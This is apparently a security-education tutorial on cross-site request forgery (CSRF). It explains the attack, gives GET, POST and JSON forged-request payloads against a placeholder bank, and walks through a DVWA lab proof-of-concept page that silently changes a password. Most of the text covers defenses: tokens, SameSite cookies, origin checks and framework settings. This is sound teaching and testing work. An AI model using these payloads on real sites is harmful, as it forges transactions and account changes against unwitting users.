What Is CSRF? Cross-Site Request Forgery Examples & How to Prevent CSRF Attacks
What is CSRF? Learn how cross-site request forgery tricks your browser into unwanted actions, see real examples and a DVWA worked test, and follow 7 steps to prevent CSRF attacks with tokens, SameSite cookies and framework protection.
When a Link Forges Your Identity
You are logged into your bank. An attacker sends you a link to a harmless-looking page that contains <img src="https://your-bank.com/transfer?amount=1000&to=attacker">. Your browser, seeing a request to your bank, automatically includes your session cookie. The bank processes the transfer — because it trusts your authenticated session. This is Cross-Site Request Forgery (CSRF): the attack exploits the trust a website has in your browser.
What Is CSRF?
Cross-Site Request Forgery (CSRF), sometimes written as XSRF, is a web security vulnerability that causes an authenticated browser to send an unwanted request to an application. In plain English, an attacker places a request on a malicious or compromised page, and the victim's browser automatically attaches cookies or other ambient credentials belonging to the target application. If the application verifies only that the request has a valid session, it may treat the forged action as authorized. The attacker usually cannot read the response because of browser origin restrictions, but reading the response is unnecessary when the goal is to change a password, submit a transaction, alter an email address, or perform another action.
CSRF still matters in 2026 because SameSite cookie defaults reduce risk without eliminating it. SameSite=Lax can still allow cookies during some top-level navigations, which is dangerous when an application changes state through GET requests. Applications may also require SameSite=None for legitimate cross-site workflows, have inconsistent cookie settings, trust vulnerable sibling subdomains, or support browsers and embedded clients with different behavior. Login CSRF and implementation mistakes remain possible as well.
Effective prevention therefore uses layers: framework-provided CSRF protection, unpredictable tokens, secure cookie attributes, request-origin validation, safe HTTP method design, and additional verification for high-impact actions.
CSRF in one sentence: CSRF tricks a logged-in browser into performing an action the user did not intend to authorize.
Prerequisites
Before studying CSRF, you should understand:
How CSRF Works
The attack requires three conditions:
The Attack Flow
The victim logs into their banking website and receives a session cookie. The attacker crafts an HTML page containing a form that auto-submits a fund transfer request to the banking site. The victim visits the attacker's page. The victim's browser automatically sends the request with the session cookie. The bank processes the unauthorized transfer, believing it came from the legitimate user.
Types of CSRF Attacks
GET-Based CSRF
The simplest form uses an image tag or link:
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
POST-Based CSRF
Auto-submitting forms bypass POST-only assumptions:
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
JSON-Based CSRF
APIs accepting JSON can be targeted with text/plain encoding:
<form action="https://api.bank.com/transfer" method="POST" enctype="text/plain">
<input name='{"to":"attacker","amount":1000}' value=''>
</form>
Worked Example: Testing CSRF on a Lab App
Only test on systems you own or have written permission to test. This exercise uses a private lab with DVWA at 192.168.1.20 and Kali with Burp Suite at 192.168.1.30; it must not be adapted to a public site.
Assume DVWA has already been installed and its database initialized. On the DVWA lab host, start the web and database services.
Illustrative commands and sample output:
# Illustrative commands
sudo systemctl start apache2
sudo systemctl start mariadb
sudo systemctl is-active apache2 mariadb
# Illustrative sample output
active
active
Open the DVWA application at http://192.168.1.20/DVWA/, log in with the credentials configured for your lab, and set DVWA Security to Low. Open Vulnerabilities, select CSRF, and confirm that the page contains a password-change form.
Start Burp Suite and use its built-in browser. Follow these exact interception steps:
LabPasswordOne in both DVWA password fields and submit the form.Illustrative intercepted request and sample response:
# Illustrative intercepted request
GET /DVWA/vulnerabilities/csrf/?password_new=LabPasswordOne&password_conf=LabPasswordOne&Change=Change HTTP/1.1
Host: 192.168.1.20
Cookie: security=low; PHPSESSID=5d8c61112ef043eca950b19ae1a56ad8
# Illustrative sample response excerpt
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Password Changed.
The request contains no unpredictable CSRF token. It changes state through GET and relies only on the browser's session cookie.
Next, save the following page as csrf-poc.html on the lab web server at 192.168.1.30.
Illustrative proof-of-concept page:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>DVWA CSRF Lab</title>
</head>
<body>
<p>DVWA CSRF lab request</p>
<form id="dvwa-csrf"
action="http://192.168.1.20/DVWA/vulnerabilities/csrf/"
method="GET">
<input type="hidden" name="password_new" value="LabPasswordTwo">
<input type="hidden" name="password_conf" value="LabPasswordTwo">
<input type="hidden" name="Change" value="Change">
</form>
<script>
document.getElementById('dvwa-csrf').submit();
</script>
</body>
</html>
Remain logged in to DVWA, turn Burp interception on again, and open http://192.168.1.30/csrf-poc.html in the same browser. Burp captures a request to the DVWA host with the browser's DVWA session cookie; click Forward.
Illustrative result: DVWA displays Password Changed. Log out and verify that LabPasswordTwo now works. The forged request succeeded because the low-security module did not require a CSRF token or verify the request's origin.
CSRF Defenses
CSRF Tokens
The most common defense. The server generates a unique, unpredictable token embedded in forms and validated on each state-changing request:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6...">
<input type="text" name="to" required>
<input type="number" name="amount" required>
<button type="submit">Transfer</button>
</form>
On the server side:
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.post('/transfer', csrfProtection, (req, res) => {
processTransfer(req.body.to, req.body.amount);
});
SameSite Cookies
Cookies with SameSite=Strict or SameSite=Lax are not sent on cross-origin requests:
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'Strict'
});
Origin and Referer Header Validation
app.post('/transfer', (req, res) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://bank.com'];
if (!origin || !allowedOrigins.includes(origin)) {
return res.status(403).send('Forbidden');
}
processTransfer(req.body.to, req.body.amount);
});
How to Prevent CSRF Attacks
Use the following seven-step checklist when deciding how to prevent CSRF in a server-rendered application or browser-based API.
1. Use Synchronizer Tokens
Generate a cryptographically unpredictable token, associate it with the user's session, and require it on every state-changing request. Compare the submitted value with the server-side value using a constant-time comparison, reject missing or invalid tokens, and never place tokens in URLs where they may leak through logs or browser history.
<form action="/account/email" method="POST">
<input type="hidden" name="csrf_token"
value="8f2a0cf50c2b49ec94f7e59a15dc6b6d0d278b79d94ea87134ea6aad413bb832">
<input type="email" name="email" required>
<button type="submit">Update email</button>
</form>
The displayed value is an example; a real application must generate and validate the token rather than hard-code it.
2. Configure SameSite Cookies
Set authentication cookies to SameSite=Lax or SameSite=Strict when the application workflow allows it. Also use Secure and HttpOnly; if a cookie genuinely requires SameSite=None, it must be marked Secure and protected by stronger CSRF controls.
Set-Cookie: __Host-session=4e16c53a8baf4da894bce4210bef7fe2; Path=/; Secure; HttpOnly; SameSite=Lax
Strict provides tighter cross-site restrictions but can interrupt legitimate navigation. Treat SameSite as defense in depth, not as a replacement for request tokens.
3. Validate Origin and Referer Headers
For unsafe methods, compare the Origin header against an exact allowlist. If Origin is unavailable, validate the origin portion of Referer; reject suspicious requests rather than using substring or suffix matching.
const allowedOrigins = new Set(['https://app.example.com']);
function verifyRequestOrigin(req, res, next) {
const origin = req.get('Origin');
if (!origin || !allowedOrigins.has(origin)) {
return res.sendStatus(403);
}
next();
}
Configure reverse proxies so the application knows its public scheme and host. Never accept an origin merely because it contains the expected domain name.
4. Require Re-Authentication for Sensitive Actions
Ask for the current password, a passkey assertion, or another strong verification step before high-impact operations. This limits damage even if a general-purpose CSRF control is bypassed or misconfigured.
app.post('/account/delete', csrfProtection, (req, res) => {
if (!req.session.recentlyReauthenticated) {
return res.status(401).send('Re-authentication required');
}
deleteAccount(req.session.userId);
res.sendStatus(204);
});
Re-authentication is especially appropriate for changing credentials, removing security controls, deleting an account, or approving important transactions.
5. Require Custom Request Headers for APIs
Browser-generated HTML forms cannot add arbitrary custom headers. A same-origin frontend can place a CSRF token in a header, while the API rejects requests that do not include a valid value.
async function updateProfile(csrfToken) {
return fetch('/api/profile', {
method: 'POST',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ displayName: 'Lab User' })
});
}
This protection depends on restrictive CORS settings. Do not allow untrusted origins to send credentialed requests with the custom header.
6. Never Change State with GET
GET requests should retrieve data without modifying server state. Use POST, PUT, PATCH, or DELETE for changes, and apply CSRF validation to those methods.
app.get('/account/email', (req, res) => {
res.sendStatus(405);
});
app.post('/account/email', csrfProtection, updateEmail);
This also prevents image loads, link previews, crawlers, and browser prefetching from accidentally triggering actions.
7. Use Your Framework's Built-In Protection First
Framework protections usually integrate token generation, session handling, template rendering, and request validation more safely than custom code. Enable the standard mechanism globally, then exempt a route only after documenting why that route does not rely on browser-supplied credentials.
MIDDLEWARE = [
"django.middleware.csrf.CsrfViewMiddleware",
]
Add defense-in-depth controls around the framework feature instead of replacing it with an unreviewed token implementation.
| Framework | Built-in CSRF protection | How to enable/use it |
|---|---|---|
| Django | CsrfViewMiddleware and template token support | Keep the middleware enabled and add {% csrf_token %} inside internal POST forms. |
| Flask | Not in Flask core; commonly provided by Flask-WTF | Initialize CSRFProtect(app) and render the generated token in forms or send it in an AJAX header. |
| Express.js | No built-in CSRF middleware | Use maintained CSRF middleware or a reviewed session-bound token implementation, then validate unsafe requests globally. |
| ASP.NET Core | Antiforgery services and validation attributes | Use form tag helpers and apply [ValidateAntiForgeryToken] or a global antiforgery filter. |
| Spring Boot | Spring Security enables CSRF protection for browser applications | Keep CSRF enabled, expose the generated token to templates or the frontend, and submit it with unsafe requests. |
| Ruby on Rails | Request-forgery protection in controllers and form helpers | Keep protect_from_forgery enabled and use Rails form helpers or send the token from the page metadata. |
| Laravel | CSRF validation in the web middleware group | Keep the middleware enabled, use the @csrf directive in forms, and send the token header for AJAX requests. |
Real-World Examples
Netflix CSRF (2006): Attackers could add movies to a user's DVD queue and change account settings by getting users to visit malicious pages while logged into Netflix.
YouTube CSRF (2008): A vulnerability allowed attackers to perform any action on behalf of a logged-in user, including adding videos to favorites and deleting videos.
ING Bank CSRF (2015): Researchers demonstrated that ING Direct's banking application was vulnerable to CSRF, allowing attackers to transfer funds and change account settings.
CSRF vs XSS vs SSRF
| Aspect | CSRF | XSS | SSRF |
|---|---|---|---|
| What it exploits | The application's trust in requests carrying a user's browser credentials | The user's trust in content delivered by the application | The server's ability to make network requests |
| Attacker goal | Perform an unauthorized action through the victim's session | Execute attacker-controlled script in a trusted site context | Make the server contact an unintended internal or external destination |
| Victim | An authenticated application user | A user who loads the affected page | The vulnerable server and reachable services |
| Needs user interaction? | Usually; the user must load or submit attacker-controlled content | Often, although stored payloads may execute when a page is viewed | Not necessarily; the attacker may directly submit a crafted server-side URL |
| Typical impact | Account changes, unwanted transactions, permission changes, or login confusion | Session theft, data access, page modification, or actions performed as the user | Internal service access, metadata exposure, network discovery, or server-side actions |
| Main defense | CSRF tokens, SameSite cookies, origin validation, and safe HTTP methods | Context-aware output encoding, sanitization, Content Security Policy, and safe DOM APIs | URL allowlists, network egress controls, destination validation, and redirect restrictions |
CSRF exploits the site's trust in the browser. The application sees a valid cookie and incorrectly assumes the user intentionally submitted the accompanying request.
XSS exploits the user's trust in the site. Attacker-controlled script runs in the trusted origin, so it can often read page data and make requests that appear to come from the application itself. XSS may also defeat CSRF protections by reading or using tokens available to the page.
SSRF exploits the server. Instead of using a victim's browser, the attacker causes backend code to send a request, potentially reaching destinations that are inaccessible from the public internet. Similar request-forgery terminology does not make SSRF a browser-session attack.
Common Mistakes
Relying on POST-only protection: Using POST instead of GET does not prevent CSRF — attackers can craft auto-submitting forms.
Using weak tokens: Tokens must be cryptographically random per session. Sequential tokens can be predicted.
Not protecting all endpoints: Forgot password forms, logout actions, and API endpoints must all be protected.
Sharing tokens across subdomains: A CSRF token valid on app.example.com should not work on admin.example.com.
Best Practices
CSRF Token Troubleshooting
| Problem | Likely cause | Fix |
|---|---|---|
| CSRF token mismatch | The submitted token does not match the session or cookie value | Reload the form, preserve the correct session, and confirm that token generation and validation use the same session store. |
| CSRF cookie not set | Middleware did not run, the cookie path or domain is wrong, or a Secure cookie was attempted over HTTP | Enable the middleware, verify cookie scope, and use HTTPS when setting Secure. |
| CSRF token missing | The form lacks its hidden field or the frontend omitted the token header | Add the framework's form helper or attach the generated token to every unsafe API request. |
| Token expired | The session or token lifetime ended while the form remained open | Refresh the form and return a clear response that lets the client obtain a new token. |
| Token invalid after login | Login rotated the session or regenerated the token | Render or fetch a fresh token after authentication instead of reusing the pre-login value. |
| 403 on AJAX/POST only | The frontend is not sending the token header, or origin validation rejects the request | Inspect the request, include the expected header, and check the exact scheme, host, and port allowlist. |
| Token works in browser but not in Postman/curl | The client is not preserving the session cookie or fetching a token first | Make an initial request, retain its cookies, extract the token, and send both with the unsafe request. |
| SameSite breaks a legitimate cross-site form | Lax or Strict prevents the required cookie from being sent | Redesign the flow where possible; otherwise narrowly use SameSite=None; Secure with tokens and origin validation. |
CSRF Cheat Sheet
Attack Vectors
| Vector | How it works | Required condition |
|---|---|---|
| GET image tag | Loading an image sends a state-changing GET request | The application improperly changes state through GET |
| Auto-submit POST form | A hidden form submits to the target application | The endpoint accepts ordinary form data without token validation |
JSON text/plain form | Form fields create a body that resembles JSON | The API accepts an unsafe content type or parses the body loosely |
| Login CSRF | A forged login places the victim in an account chosen by the attacker | The login endpoint lacks request-forgery protection |
| Logout CSRF | A cross-site request terminates the victim's session | Logout is exposed through an unprotected GET or POST endpoint |
| Stored CSRF via file upload | Uploaded active content later submits a forged request when viewed | The lab app serves active uploads in a dangerous browser context |
Defenses at a Glance
| Defense | Best use | Limitation |
|---|---|---|
| CSRF token | Primary control for cookie-authenticated browser requests | Can fail through missing validation, token leakage, or XSS |
| SameSite cookie | Reduces cookies sent in cross-site contexts | Does not cover every navigation, configuration, or integration |
| Origin check | Confirms the request came from an approved origin | Requires exact proxy-aware configuration and a safe fallback policy |
| Re-authentication | Protects high-impact operations | Adds user friction and does not replace general CSRF protection |
| Custom header | Protects same-origin browser APIs | Requires strict CORS and frontend token handling |
Keep Learning
Summary
CSRF exploits the trust a web application has in an authenticated user's browser. The primary defense is CSRF tokens — unique, unpredictable values embedded in forms and validated server-side. Modern SameSite cookie attributes provide additional protection. Always protect all state-changing endpoints and implement defense in depth.
Knowledge Check
Answers: 1. An active session, knowledge of the action's parameters, and no proper validation on the target site. 2. SameSite restricts when the browser sends cookies on cross-site requests, so a forged request from another site arrives without the session cookie. 3. POST does not help — an attacker can craft an auto-submitting form that sends a POST request from the victim's browser. 4. CSRF exploits the site's trust in the user's browser; XSS exploits the user's trust in the site. 5. The server sends the same token in a cookie and in a request field or header, then checks that the two values match. 6. The server verifies that a token sent in both a cookie and a request field or header matches, with the value securely bound or signed. 7. Application workflows, unsafe GET endpoints, cross-site integrations, sibling-domain risks, and cookie configuration can leave exploitable paths. 8. A forged login that signs the victim into an attacker-selected account, so the victim adds data or performs actions in that account.
Frequently Asked Questions
Continue Learning
What Is SSRF? Server-Side Request Forgery Examples & How to Prevent SSRF Attacks
What is SSRF? See real server-side request forgery examples, a worked lab test, and how to prevent SSRF attacks with allowlists, IMDSv2 and egress controls.
Web Security · IntermediateWhat Is SQL Injection? Types, Examples & How to Prevent SQL Injection Attacks
What is SQL injection? See real SQL injection examples, a worked DVWA lab test, and how to prevent SQL injection with parameterized queries.
Web Security · IntermediateWhat Is IDOR? Insecure Direct Object Reference Examples & How to Prevent IDOR Attacks
What is IDOR? See real insecure direct object reference examples, a worked lab test with Burp Suite, and how to prevent IDOR with server-side checks.
Web Security · IntermediateJWT Security: What Is a JWT, Common Attacks & How to Test Them
What is a JWT? Learn JWT security: how JSON Web Tokens work, the none and algorithm confusion attacks, and how to test JWTs with jwt_tool and Burp Suite.
Related Security Tools
Burp Suite
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Web ApplicationXSSer
XSSer (Cross Site Scripting Exploiter) is an automatic framework to detect, exploit, and report XSS vulnerabilities in web applications. It contains features to bypass several filters and various options for automated payload generation.
Web ApplicationSQLMap
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
Web SecuritySecurity Headers Checker
Check HTTP security headers (CSP, HSTS, X-Frame-Options, X-XSS-Protection, Referrer-Policy, and more) with security scoring.